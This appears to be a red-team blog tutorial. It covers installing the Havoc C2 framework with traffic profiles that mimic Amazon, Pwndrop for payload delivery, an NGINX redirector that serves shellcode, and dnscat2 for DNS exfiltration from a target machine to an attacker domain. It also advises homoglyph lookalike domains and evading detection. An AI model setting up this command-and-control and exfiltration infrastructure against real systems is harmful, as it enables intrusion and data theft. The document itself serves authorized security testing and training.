Configure your Red Team Operations Infrastructure #1

Introduction

Having a solid and well-planned infrastructure is crucial for Red Team operations, far surpassing the mere installation of Kali Linux. The importance of a robust and efficient infrastructure cannot be underestimated, as it ensures the continuity and effectiveness of your operations.

In this article, I will share the tools I use to strengthen Red Team operations. Additionally, I will explain how to set up a local infrastructure that can be adapted for a Virtual Private Server (VPS). However, it's important to note that I do not recommend using VPS or known cloud providers to host your Red Team infrastructure.

Something more advanced will be covered in a book I am writing.

Command and Control - Havoc

Well, I like Cobalt Strike, but showcasing a tutorial here would be unfair, as it is a paid solution. Therefore, I will show another C2 that I quite enjoy working with. However, if you're curious about C2s that I would recommend, here's a list:

1) Cobalt Strike

2) Havoc

3) SilentTrinity

4) Sliver

5) Covenant

6) TrevorC2

7) Caldera (Yes, in addition to adversary emulation, it can also be used as a C2)

Alright, shall we proceed with setting up Havoc? Of course, this is an example of a configuration that I'll be using for a specific Red Team operation, with some steps being fully customizable according to your needs.

Install Havoc:

I will be using Kali Linux Purple, for personal reasons.

Open the terminal and type the commands below.

git clone https://github.com/HavocFramework/Havoc        

The command above clones the Havoc repository.

cd Havoc        

Access the Havoc folder.

sudo apt update && sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm        

Let's add the above packages which are essential for the operation of Havoc.

cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..        

Let's install the necessary packages for the application to work.

make ts-build
make client-build        

Let's compile the binaries for the teamserver and the client as well.

./havoc client
./havoc server --profile file.yaotl        

Both of the above commands run both the Havoc client and server with a profile that you define.

Regarding the Teamserver, Havoc explains a bit about what it is and how it works.

"The Havoc Teamserver is the core server that starts listeners, interacts with agents and handles the operator's commands. The Teamserver can be configured using the Yaotl configuration language." - Havoc Documentation

The next step is to create our profile, or we can use the ones that come by default in the profiles folder. But first, let's get to know some best practices for structuring a C2.

Command and Control Structure

?????????????????????? (????)

Used for general commands, enumeration, scanning, data exfiltration, etc.

This level has the most interaction and is at the highest risk of exposure.

Plan for loss of access due to miscommunication, agent failure, or Blue Team actions.

Run enough interactive sessions to maintain access. While interactive, this doesn't mean blasting the client with packages. Use common sense to minimize the interaction just enough to take action.

?????????? ???????? (????)

Used as a backup to re-establish interactive sessions.

Use covert communications that blend in with the target.

Slow callback times. Callback times in 1–24 hours.

???????? ???????? (????)

Same as Short Haul, but even lower and slower.

Slow callback times. Callback times of more than 24 hours are common.

Create your C2 Profile

C2 profiles are essential for defining how agents will communicate with the command and control server, especially in terms of the protocols they will use, the use of obfuscation and evasion techniques, and specific configurations on how they should exchange communication between the client and server.

Now that we have a brief understanding of what a C2 Profile is, we can use a specific tool to generate a C2 profile in Havoc.

git clone https://github.com/Ghost53574/havoc_profile_generator        

Create a profile that simulates a legitimate connection with some service. For example, if you sniff the company's network with Wireshark, you can observe the main communications and create profiles based on them. Commonly used C2 profiles include those that mimic Amazon, Spotify, and even Netflix.

python3 havoc_profile_generator.py -c sample.config.json -q > havoc_test.yaotl        

The command above generates a profile with a default Havoc configuration using a sample of a generic configuration.

{
    "Request": [
        "/broadcast",
        "/1/events/com.amazon.csm.csa.prod"
    ],
    "Response": [
        "Content-Type: application/json",
        "Access-Control-Allow-Origin: https://amazon.com",
        "Access-Control-Allow-Methods: GET",
        "Access-Contorl-Allow-Credentials: true",
        "X-AMZ-Version-Id: null",
        "Server: AmazonS3",
        "X-Cache: Hit from cloudfront"
    ],
    "Headers": [
        "Accept: application/json, text/plain, */*",
        "Accept-Language: en-US,en;q=0.5",
        "Origin: https://ww.amazon.com",
        "Referer: https://www.amazon.com",
        "Sec-Fetch-Dest: empty",
        "Sec-Fetch-Mode: cors",
        "Sec-Fetch-Site: cross-site",
        "Te: trailers"
    ]
}        

We also have profile files to simulate communication with specific domains.

Just adapt the Havoc profile according to the settings of the generated profile, and then run Havoc with the new profile.

./havoc server --profile /opt/havoc_profile_generator/havoc_amazon.yaotl        

And input the credentials defined in the generated profile.

There you go, you have a Havoc server up and running with a new profile. Now, you can perform some tests with Wireshark and analyze network traffic to observe its behavior.

Pwndrop Configuration

Let's proceed with the installation and configuration of Pwndrop, a very useful tool for sending payloads and other artifacts.

git clone https://github.com/kgretzky/pwndrop        

We can clone the repository or use the one-liner installation.

curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash        

The command above automates the entire installation process.

cd /usr/local/pwndrop
./pwndrop status
./pwndrop start        

Start the pwndrop service to begin using it.

./pwndrop -config pwndrop.ini         

You can change the settings of the pwndrop file and adapt as desired, redirecting the user who types the IP of the pwndrop server to be redirected to another site and even changing the default access directory.

You can learn more about pwndrop from the links below.

https://breakdev.org/pwndrop/

https://www.youtube.com/watch?v=e3veSyIFvOE

NGINX Redirectors

We will configure our HTTP server that will propagate our payloads, agents, and shellcodes that we will generate to compromise our targets.

I prefer to use a separate server; I'll create an example using an instance on GCP with NGINX installed, but you can adapt it as desired. It's important to always maintain a high reputation for your server, so never create an instance and use it immediately for your operations; let it "cool off" for a few weeks.

But never use the same VPS to host your C2, as this could make it easier for the blue team to investigate and even tarnish the reputation of your IP through Threat Intelligence tools.

The configuration is quite simple; adapt it as needed:

Set up your machine on the VPS; I named mine nginx-redirector, which I even used for my certification exam at Cyberwarfare Labs.

apt update && apt install nginx        

The command above updates the packages and installs nginx.

Above are the nginx configuration files. I always create a copy of the nginx.conf file before starting to make any changes.

After that, let's create a redirector by editing the configuration file.

http {
    # Special IP Defined
    geo $ip_config {
        default 0;
    }

    # Config limit rate
    limit_req_zone $binary_remote_addr zone=mylimit:10m rate=5r/m;

    server {
        listen 80;
        server_name 34.125.215.212;  # domain or ip
        root /var/www/html;
     
        location /shellcode.exe {
                limit_req zone=mylimit burst=5 nodelay;
                try_files /shellcode.bin =404;
        }
    }
}        

1. Geo IP Configuration:Defines a variable $ip_config based on the client's IP address. It's set to 0 for all IPs, as there are no specific IPs defined.
2. Rate Limiting Configuration:Sets up a rate limiting zone named mylimit using the $binary_remote_addr variable, which is the standard for applying rate limits based on the client's IP address.Limits requests to 5 per minute with a memory allocation of 10 megabytes for storing the states of the requests.
3. Server Configuration:Configures the server to listen on port 80.Uses 34.125.215.212 as the server name, which should be replaced with your actual server's IP address or domain name.Sets the root directory for serving files as /var/www/html.
4. Handling Requests to /shellcode.exe: Enforce rate limiting for operations to /shellcode.exe using the mylimit zone, with burst capacity of 5 operations and no delay for interrupts within the limit. Trying to use the shellcode.bin file by typing shellcode.exe if it is not found will return a 404 error. This is useful for camouflaging interfaces made for a specific file.

After configuring nginx, simply restart the service using the command:

systemctl restart nginx
nginx -t #Test the configuration file to ensure there are no errors.        

Now, it's just a matter of testing to see if the configuration was applied correctly; you can further improve the redirector.

Refer to the tutorials below and adapt as needed:

https://www.youtube.com/watch?v=eA1BWZZl4cs

https://www.youtube.com/watch?v=AzmoWYNKYVQ

https://ditrizna.medium.com/design-and-setup-of-c2-traffic-redirectors-ec3c11bd227d

https://rioasmara.com/2023/09/17/cobaltstrike-redirector-with-nginx/

My advice is that you acquire a domain. Moreover, if you're more daring, use a domain of the company where you're performing the exercise, creating a similar-sounding domain, be it through homograph attacks or using a different alphabet from Latin. However, this might be detected if the company has a robust threat intelligence system. And acquire a certificate; you can use Let's Encrypt or purchase one, depending on your needs. I usually buy a domain through GoDaddy and use Let's Encrypt, or on specific occasions, I purchase a certificate. It's not the best OPSEC you can have, but it's a simple and quick alternative.

DNS Exfiltration

In a DNS exfiltration attack, confidential data from a compromised network are encoded into the subdomains of DNS queries, for example, attacker.com.

The compromised system sends these DNS queries to a server controlled by the attacker.

And the attacker's server receives the DNS queries and decodes the data from the subdomain strings.

Useful tools:

• DNS Steal https://github.com/m57/dnsteal ?
• Iodine https://code.kryo.se/iodine/ ?
• Dns2TCP https://www.aldeid.com/wiki/Dns2tcp ?
• DNSCat https://github.com/iagox86/dnscat2 ?

I like to use Iodine and DNSCat, and for this example, I'll use DNSCat because it's simple to configure.

Minimum requirements:

• Access to a Linux or Windows server (depending on your environment)
• Administrator or sudo permissions on the server
• Basic knowledge of terminal or command line operations

git clone https://github.com/iagox86/dnscat2          

Let's clone the dnscat repository.

sudo apt-get update
sudo apt-get install ruby ruby-dev build-essential        

Depending on your system, you may need to install dependencies to compile the dnscat2 server. On Ubuntu/Debian, for example, you would need to install Ruby and Ruby development.

cd dnscat2/client
make        

In the command above, we will compile the dnscat client.

./dnscat        

And subsequently, we can test to see if everything is working with the client by running the above command for execution.

cd dnscat2/server/
gem install bundler
bundle install        

The same applies to the server as well; let's install Bundler, which is one of the requirements for the server to run.

ruby ./dnscat2.rb seudominio.io --secret "randomkey"        

Execute the above command and start the server on a domain you created with a secret key.

./dnscat c2domain.com --secret "randomkey"        

Finally, execute the client on the target machine to establish a C&C communication for data exfiltration via DNS.

If you are looking to purchase a domain, there are numerous alternative companies where you can obtain your domain more simply and easily. Moreover, you can use Homoglyph techniques or the use of other types of characters that are not converted to punycode.

Red Team Basic OPSec

Operational security (OPSEC) is crucial for Red Team activities, as it ensures the effectiveness of attack simulations and protects the team's sensitive data during operations. Here are some OPSEC tips aimed at Red Teams to enhance their operations.

• Modify tools and payloads to avoid known signatures and detection by security solutions.
• Keep a detailed record of operations, including techniques used, successes, and failures.
• Use encrypted communication channels for internal discussions and reporting.
• Carefully plan your actions and conduct thorough reconnaissance to identify targets without revealing your intentions.
• Utilize dedicated servers, networks, and domains for each operation, avoiding association with your actual organization.
• Employ VPNs, proxies, and the Tor network to mask your real location and IP.
• Before implementing new tools or techniques, assess needs, risks, and benefits.
• Establish a test environment that simulates the target to validate tools and techniques before actual use.
• Try to view your actions from the target's perspective to better understand how your activities might be perceived and detected.

More Details: https://www.blackhillsinfosec.com/wp-content/uploads/2021/03/SLIDES_OPSECFundamentalsRemoteRedTeams-1.pdf

Conclusion

In this article, we delved into the essential foundations for building and maintaining a robust and secure infrastructure for Red Team operations, highlighting the importance of going beyond just setting up Kali Linux. We explored the setup of Havoc as an alternative to Cobalt Strike, demonstrating how to configure an effective command and control (C2) environment that can be tailored as needed for specific operations.

Additionally, we discussed configuring Pwndrop for payload delivery, using NGINX redirectors to camouflage malicious traffic, and strategies for data exfiltration via DNS, with an emphasis on the use of tools like Iodine and DNSCat. We also emphasized the importance of operational security (OPSEC) practices to protect the operations and sensitive data of the Red Team.

These strategies and tools are crucial for creating an effective Red Team infrastructure, which not only supports penetration testing operations but also safeguards against detection and compromise.

Next Article

1. We will explore how Visual Studio can be a powerful tool for Red Teams, enabling the development of evasion techniques and other projects that help to avoid detection by solutions like EDR/AV.
2. I will detail specific evasion tools and techniques that are vital in a Red Team's arsenal to bypass detection and response solutions for endpoints (EDR) and antivirus (AV).
3. We will compile a set of essential tools for any Red Team, covering software for reconnaissance, exploitation, post-exploitation, maintaining access, and tools for documentation and penetration reporting.
4. I will show how to set up an efficient Open Source Intelligence (OSINT) environment tailored for Red Teams, allowing for the collection, analysis, and exploitation of publicly available information to assist in the planning and execution phases of operations.

Extras Resource:

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

https://www.securesystems.de/blog/building-a-red-team-infrastructure-in-2023/

https://www.ired.team/offensive-security/red-team-infrastructure

https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform

https://cyberwarfare.live/product/red-team-infra-developer/

https://medium.com/cyesec/building-a-modern-red-team-infrastructure-e5501784a287

https://www.youtube.com/watch?v=TwLLL8Ain24